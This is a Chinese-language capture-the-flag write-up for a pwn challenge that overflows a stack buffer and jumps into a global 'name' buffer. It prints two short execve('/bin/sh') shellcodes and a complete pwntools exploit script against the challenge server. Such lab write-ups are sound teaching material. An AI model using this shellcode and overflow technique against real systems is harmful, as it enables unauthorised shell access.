nc 连接远程环境。
file 查看文件。
checksec 查看文件安全属性。
IDA 打开文件。程序把输入放进 name 变量中,但是只读取 25 个字节。
shift+F12 查看所有的字符串。并没有发现 /bin/sh 后门,因此我们需要自己上传 sh的shellcode
溢出大小:
name 变量的地址。
流程:我们需要先上传一个小于 25 字节的shellcode,然后溢出 name 变量的缓冲区。
但是这次不能用 asm(shellcraft.sh()) ,因为使用 shellcraft 默认生成的字节数是 0x30 这里只能0x25 我们需要找小于0x25的 shellcode。
32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
exp:
from pwn import *
r=remote('node4.anna.nssctf.cn',28179)context.log_level='debug'
context.arch='amd64'
context.os='linux'
name_addr=0x6010A0
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload=b'a'*(0xA+8)+p64(name_addr)
r.send(shellcode)
r.sendline(payload)
r.interactive()
得到 flag。